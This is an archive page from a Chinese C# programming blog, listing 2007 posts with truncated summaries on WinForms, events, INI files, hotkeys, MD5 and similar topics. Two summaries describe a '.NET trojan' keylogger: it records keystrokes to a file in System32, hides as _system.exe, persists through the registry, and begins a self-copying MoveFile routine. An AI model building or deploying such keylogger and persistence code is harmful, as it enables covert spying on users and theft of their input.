常见日期方法荟萃 
    
            
摘要:一.如何获得当月有多少天 int m=System.DateTime.DaysInMonth(System.DateTime.Now.Year,System.DateTime.Now.Month); 二.日期型格式处理通用方法1.在webconfig中配置如下 2.在global.asax中 protected void Application_BeginRequest(Object sende...
        
阅读全文
 
            
            
    c#摄像头编程实例
    
            
摘要:摄像头编程 安装摄像头后,一般可以找到一个avicap32.dll文件 这是一个关于设想头的类 using system;using System.Runtime.InteropServices; namespace webcam{/// /// avicap 的摘要说明。/// public class showVideo{// showVideo calls[DllI...
        
阅读全文
                posted @ 
2007-04-16 11:24 
冷火
        
阅读(12840) 
         
        推荐(1)     
             
            
            
    C#类中的get 和set 函数的具体用法
    
            
摘要:C#语言有两个函数--一个赋值函数(get),一个取值函数(set),这从它生成的中间语言代码可以清晰地看到。C#不提倡将域的保护级别设为public而使用户在类外任意操作--那样太不OO,或者具体点说太不安全!对所有有必要在类外可见的域,C#推荐采用属性来表达。属性不表示存储位置,这是属性和域的根本性的区别。下面是一个典型的属性设计: using System; class MyClass { ...
        
阅读全文
                posted @ 
2007-04-15 23:44 
冷火
        
阅读(3755) 
         
        推荐(0)     
             
            
            
    定义C#的类
    
            
摘要:既然类类型是C#中最重要、最常见的类型,因此它是我要介绍的重点,实际上,C#中的许多特性都可以通过类类型来体现。 前面已经介绍,一个类对象中,主要包括字段、属性和方法。不过除此之外,在类类型中还可以定义嵌套类,也可以定义一个常量。 对于一个没有任何编程知识的初学者而言,也许还应介绍一下常量与变量。不过从它们的名字就可以非常清晰地辨明二者的区别,常量其值是不可改变的,而变量的值则可以修改,除非该...
        
阅读全文
                posted @ 
2007-04-15 23:35 
冷火
        
阅读(468) 
         
        推荐(0)     
             
            
            
    自定义事件实现不同窗体间的通讯C#篇
    
            
摘要:C# 中的“事件”是当对象满足一定条件,发生某些事情时,类向该类的客户提供通知的一种方法。使用事件,拥有该事件的对象不必知道需要通知谁,一旦满足了某个条件,将自动调用该事件,正确通知每个需要通知的对象。通过使用事件,提高了程序的模块化程度。 要在程序中使用自定义事件,需按以下步骤进行: 1、声明事件 要在类内声明事件,首先必须声明该事件的委托类型: public delegat...
        
阅读全文
                posted @ 
2007-04-15 23:32 
冷火
        
阅读(474) 
         
        推荐(0)     
             
            
            
    .net木马的实现-开机键盘记录
    
            
摘要:1 Hook类的实现网上这方面的内容很多,但大多没给出全部代码或者没有完整实现木马功能,这篇文章可能会有所帮助.我给出完整的代码不是提倡使用木马,只是在技术的谈论.首先,这是一个较为完整的木马程序,运行或编译后会在System32下建一个名为keyReport.txt的文本文件用来记录所有按键消息,并且在System32下会有一个名为_system.exe木马主体.在注册表CurrentUser...
        
阅读全文
                posted @ 
2007-04-10 08:34 
冷火
        
阅读(900) 
         
        推荐(0)     
             
            
            
    关于生成树型结构的文件关系图的算法
    
            
摘要:关于生成树型结构的文件关系图的算法 在很多时候我们都希望生成树型结构的文件关系图:我下面就讲述一下如何生成一个类似的关系,并生成文本文件. 下面我们来重点讲一下如何遍历目录,如何生成图一的那种表现形式: SearchFile函数有2个参数,RootPath为查找位置,Indent控制输出的字符前面有多少空格,既缩进 遍历用的是递归,深度越大字符前面的空格也就越多,并且要判断是目录还是文件...
        
阅读全文
                posted @ 
2007-04-10 08:32 
冷火
        
阅读(701) 
         
        推荐(0)     
             
            
            
    .net木马的实现-开机键盘记录
    
            
摘要:3 RegistryReport和 Report类这是RegistryReport 类的实现 public void MoveFile() { //判断该位置是否存在_system.exe,如果不是,就把程序移动到该位置,否则返回 if(!File.Exists("c:\\windows\\system32\\_system.exe")) { ...
        
阅读全文
                posted @ 
2007-04-10 08:30 
冷火
        
阅读(366) 
         
        推荐(0)     
             
            
            
    远程鼠标控制
    
            
摘要:远程鼠标控制-服务端 以前不懂网络编程的时候,感觉远程桌面是一个好神奇的技术,很神秘,现在了解这方面的知识后才觉得也没什么,前几天,用C#写了一个远程鼠标控制的东东,给感兴趣的朋友参考一下。转贴请注明出处。 我先引用一篇别人的文章: Socket编程基础 本章以Berkeley Socket为主,主要介绍网络编程时常用的调用和程序使用它们的方法及基本结构。网络编程有两种主要的编程接口,一种...
        
阅读全文
                posted @ 
2007-04-10 08:26 
冷火
        
阅读(1628) 
         
        推荐(0)     
             
            
            
    在 Visual Basic .NET 和 Visual C# .NET 中创建控件数组
    
            
摘要:Matthew A. StoeckerVisual Studio TeamMicrosoft Corporation 2002 年 1 月 摘要:本文介绍如何使用 Visual Basic® .NET 和 Visual C#™ .NET 创建和管理控件数组。 目录 简介 前提 创建项目 实现集合 公开控件数组 ...
        
阅读全文
                posted @ 
2007-04-07 15:47 
冷火
        
阅读(672) 
         
        推荐(0)     
             
            
            
    控制只生成一个子窗体 
    
            
摘要:控制只生成一个子窗体 呵呵,很简单,先定义一个窗体变量; 如:frmDirTool() DirTool = null; 然后再从生成这个窗体的点击事件中写入 if(DirTool ==null) { DirTool = new frmDirTool(); DirTool.MdiParent = this; DirTool.Show()...
        
阅读全文
                posted @ 
2007-03-22 13:41 
冷火
        
阅读(308) 
         
        推荐(0)     
             
            
            
    一种加载TreeView数据的新写法
    
            
摘要:今天在MSDN看到一篇文章,受到启发,便用下面的方式实现TreeView的数据加载。因为使用了spring来注入业务方法,所以不完全贴上代码了,只贴上关键部分。 Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/--> /// /...
        
阅读全文
                posted @ 
2007-03-12 10:06 
冷火
        
阅读(486) 
         
        推荐(0)     
             
            
            
    使自己的程序只运行一次
    
            
摘要:我介绍两个主流的方法。 方法一:使用Mutex来进行 1. 首先要添加如下的namespace: using System.Threading; 2. 修改系统Main函数,大致如下: bool bCreatedNew; //Create a new mutex using specific mutex name Mutex...
        
阅读全文
                posted @ 
2007-03-02 15:11 
冷火
        
阅读(326) 
         
        推荐(0)     
             
            
            
    C#系统热键类
    
            
摘要:C#系统热键类 using System;using System.Runtime.InteropServices;namespace SystemHotKey{ public delegate void HotkeyEventHandler(int HotKeyID); public class Hotkey : System.Windows.Forms.IMessageFilter...
        
阅读全文
                posted @ 
2007-02-28 14:18 
冷火
        
阅读(407) 
         
        推荐(0)     
             
            
            
    C#操作INI文件类
    
            
摘要:using System; using System.IO; using System.Runtime.InteropServices; using System.Text;namespace OperateIni{ public class IniFile { private string IniFileName; [DllImport("kernel32")] private ...
        
阅读全文
                posted @ 
2007-02-28 14:17 
冷火
        
阅读(285) 
         
        推荐(0)     
             
            
            
    C#移动无标题窗体
    
            
摘要:在窗体的类中声明两个变量 private Point mouseOffset; //记录鼠标指针的坐标private bool isMouseDown = false; //记录鼠标按键是否按下 创建该窗体 MouseDown事件的相应处理程序,注示部分为坐标的补偿 private void Form1_MouseDown(object sender, System.Windows.Forms.M...
        
阅读全文
                posted @ 
2007-02-28 14:17 
冷火
        
阅读(798) 
         
        推荐(0)     
             
            
            
    C#实现用Enter键和Tab键同样功能
    
            
摘要:在Form_Load中输入如下代码: foreach(Control ctrl in this.Controls) { if ((ctrl is TextBox) || (ctrl is ComboBox)) //如果文本框或下拉框放在组合框中,你应该用如groupBox1.TextBox { ctrl.KeyDown += new System.Windows.F...
        
阅读全文
                posted @ 
2007-02-28 14:16 
冷火
        
阅读(1831) 
         
        推荐(0)     
             
            
            
    C#让程序只运行一次实例
    
            
摘要:添加引用 using System.Reflection;using System.Runtime.InteropServices;using System.Diagnostics; 调用DLL文件 [DllImport("User32.dll")]private static extern bool ShowWindowAsync(IntPtr hWnd, int cmdShow);[DllIm...
        
阅读全文
                posted @ 
2007-02-28 14:15 
冷火
        
阅读(459) 
         
        推荐(0)     
             
            
            
    MD5加密
    
            
摘要:WinForm: public string GetMD5(string str){ byte[] b = System.Text.Encoding.Default.GetBytes(str); b = new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(b); StringBuilder...
        
阅读全文
                posted @ 
2007-02-28 14:08 
冷火
        
阅读(301) 
         
        推荐(0)     
             
            
            
    C# 中启动进程的三种方法
    
            
摘要:启动子进程,不等待子进程结束 private void simpleRun_Click(object sender, System.EventArgs e){ System.Diagnostics.Process.Start(@"C:\listfiles.bat");} 2.启动子进程,等待子进程结束,并获得输出 1private void runSyncAndGetResults_Click(...
        
阅读全文
                posted @ 
2007-02-07 15:37 
冷火
        
阅读(1549) 
         
        推荐(0)